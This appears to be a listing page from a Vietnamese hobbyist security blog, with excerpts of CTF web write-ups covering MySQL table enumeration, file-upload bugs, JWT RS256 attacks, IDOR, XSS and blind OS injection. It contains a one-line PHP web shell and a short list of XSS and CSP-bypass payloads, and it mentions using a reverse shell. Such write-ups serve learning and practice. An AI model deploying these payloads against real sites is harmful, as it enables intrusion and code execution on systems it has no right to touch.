Bài đăng

Hình ảnh
MYSQL và con đường tà đạo fuzzing table  Hế lô ae, Kĩ thuật này không có gì mới nhưng để ôn tập lại kiến thức thì tui sẽ chỉ cho mọi người các cách fuzzing table name 1) information_schema.TABLES Cách này thì quá quen thuộc với mn rồi nên tui sẽ bỏ qua :v 2) mysql.innodb_table_stats 3) information_schema.INNODB_SYS_TABLES
Hình ảnh
 MTA CTF VÀ MÌNH CÒN PHẢI HỌC NHIỀU Hế lô ae :V Mỗi khi có giải ctf nào đấy của các trường đh thì mình lại xin đề về làm :v Qua đây thấy bản thân còn khá non kém nên mình sẽ ghi 2 bài mình đã giải :| Bài 1: đây là thể loại upload file. Tác giả sử dụng file_put_content với các đối số $filename, $shell do mình kiểm soát. Mình sẽ tạo 1 file hehe.php với nội dung như sau. <?php system($_GET[0]); /* /* để comment đoạn shout out kia :v Sau đó là đọc flag thôi :| Web2:  Bài này liên quan đến jwt và thuật toán sử dụng là rs256, mình trước đó đã từng đọc qua 1 bài writeup svattt nên dễ dàng nhận ra hướng làm.  file public.pem thì mn có thể tìm có endpoint /backup/ Tóm lại 2 bài cve, trong đó một bài java mình đọc sơ qua thì có vẻ giống đợt whitehat vừa rồi, bài zimbra thì chịu mình chưa tìm đc cve liên quan Tg giải 2 bài web đầu đâu đó 10p chăng, mình sẽ cải thiện tốc độ sau :| Nguồn tham khảo :V JWT ATTACK
Hình ảnh
 BKSEC và tôi sẽ chuẩn bị đi qua đó tham gia CTF UwU Hế hế, để chuẩn bị tốt cho cuộc thi (thật ra là chả có gì) thì mình sẽ wu 1 bài đợt trc. Poem-TT mình đc cho đề bài với cấu trúc thư mục như sau :V Thật ra mn có thể đọc thông qua file robots.txt :))) Chú ý vào route /poem, ta thấy nó sử dụng hàm eval(poem), biếm poem do ta điều khiển. Có 1 đoạn regex chặn các kí tự ngoài A-Za-z và dấu chấm. Ý tưởng là sẽ tận dụng request.data để gửi payload.
Hình ảnh
 Chà chà, TFCCTF và những cuộc đua :v Hế lô mn lại là tui đây, lần này bọn mình vừa tham gia TFCCTF và đạt kết quả khá ổn :v Chỉ tiếc là team mình thiếu pwner nên bạn nào muốn chơi cùng thì ib cho mình nha :>        Chém gió thế đủ rồi, mình solve được đúng 3 bài web, kết quả khá tệ cho đứa như mình nên mình sẽ wu từ dễ đến khó các bài mình đã làm, sẽ ghi tiếp để học hỏi nhưng không phải bây giờ :/ Web1: Baby ducky notes. (IDOR) Mọi người có thể tải source tại đây   Bài này chỉ là warmup nên khá là dễ :v Đầu tiên là chú ý vào dòng này :v Dễ thấy nó sẽ gọi hàm db_get_user_posts với username do ta điều khiển được. Hàm này sẽ trả về nội dung của user Sau khi reg 1 acc, mình sẽ đổi từ konchan -> admin và nhận flag Web2: Baby ducky notes: revenge (XSS) Mọi người có thể tải source tại đây Tiếp tục là bài review source, mình khá lười cho các bài dạng này. Lần này con bot nó có 1 bài đăng ẩn, chúng ta không thể đọc được theo các thông thường. Con bot sẽ ghé qua nhà mình khi mình report, 
Hình ảnh
 INTIGRITI và lời cảm ơn đến tác giả. Tháng này đề cũng không khó lắm, cụ thể là logic mình kém thôi :))) Mình được cho 1 trang upload file Sau khi test logic upload file thì mình nhận thấy một số vấn đề. Sau khi upload đúng định dạng sẽ download về máy mình file âm thanh. Nó chỉ check ext .mp4 phía cuối nên mình có thể dùng file_name.php.mp4 :? Nó cũng check 1 số byte đầu xem có đúng là file mp4 hay không. Tên file không chứa backspace. Đến đây mình hơi stuck một lúc :))) Chú ý vào chỗ này thấy Lavf lạ lạ nên mình quyết định exiftool file wav đó :V Nó là phần mềm lavf jj đó, search thử gg :/ nó là phần mềm ffmpeg jj đó :v Có 1 bài đăng nói về cách dùng, theo suy đoán của mình thì mình sẽ điều khiển được file_name trong trường hợp này Đây là dạng blind os injection nên mình tạo 1 reverse shell để nghe :)) and gotcha  Thế thôi :/ Các bác đi pentest thực tế r, chia sẻ kinh nghiệm cho e với T_T.  :/
 nghiên cứu ASIS để trở thành một hắc cơ vipro :V binary cloud https://www.gosecure.net/blog/2016/04/27/binary-webshell-through-opcache-in-php-7/ https://ctf.rip/asis-ctf-2016-binarycloud-web-challenge/ https://systemoverlord.com/2016/05/08/asis-ctf-2016-binary-cloud.html <?php function ew ( $haystack , $needle ) {     return $needle === "" || (( $temp = strlen ( $haystack ) - strlen ( $needle )) >= 0 && strpos ( $haystack , $needle , $temp ) !== false ) ; } function filter_directory (){     $data = parse_url ( $_SERVER [ ' REQUEST_URI ' ]) ;     $filter = [ " cache " , " binarycloud " ] ;     foreach ( $filter as $f ){         if ( preg_match ( " / ". $f ." /i " , $data [ ' query ' ])){             die ( " Attack Detected " ) ;         }     } } function error ( $msg ){     die ( " <script>alert(' $msg ');history.go(-1);</script> " ) ; } filt
 Đừng chú ý vào các tag, nó chỉ hỗ trợ 1 phần, ngoài ra còn có thể sử dụng các hàm như eval() của js để thực hiện, cộng chuỗi thêm bớt mảng,... eval(String.fromCharCode(97,108,101,114,116,40,49,41,)) <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgyKTwvc2NyaXB0Pg==">     < script src = "https://unpkg.com/react@16.7.0/umd/react.production.min.js" ></ script >     < script src = "https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js" ></ script >     < br csp = "alert(1)" > <script%20src="https://accounts.google.com/o/oauth2/revoke?callback=alert(31337)"></script> https://html.com/character-codes/
Hình ảnh
 COOKIE HÂN HOAN VÀ TUI KHÔNG BIẾT LÀM T_T Hế lô bà con, mình là kon-chan. Mọi người cứ gọi mình là Kon cũng đc :v Lời đầu tiên là cảm ơn anh Hazy cùng ban tổ chức, ban ra đề đã tổ chức 1 buổi ctf UwU Giải này mình chỉ solve 20 chall như các bạn thấy T_T, đứng top 40 :v hi vọng năm sau sẽ đạt giải thưởng :D Mình wu 7 bài web, trong đó 1 bài mình không làm kịp trong lúc cuộc thi diễn ra, còn bài suck us mình lười quá với lại đang tập trung làm extract video nên ko ngó :V Web1: Be positive Mình được cho đề bài thế này  Vì là không có source nên mình test blackbox. Đề bài đã gọi ý username và password của bob và alice bob:bob alice:alice thử đăng nhập xem thế nào. Đây là 1 trang chuyển tiền, tiền giữa 2 tài khoản là $1500, nếu chuyển hết cho 1 tài khoản thì là $3000, flag có giá $3001. Việc mình cần làm là tìm cách sao cho tiền mình dư ra 1 khoảng :v đầu tiên phải xác định được logic khi chuyển tiền. Giá sử A là người chuyển và B là người nhận, A sẽ bị trừ tiền và B được cộng tiền. Ở đây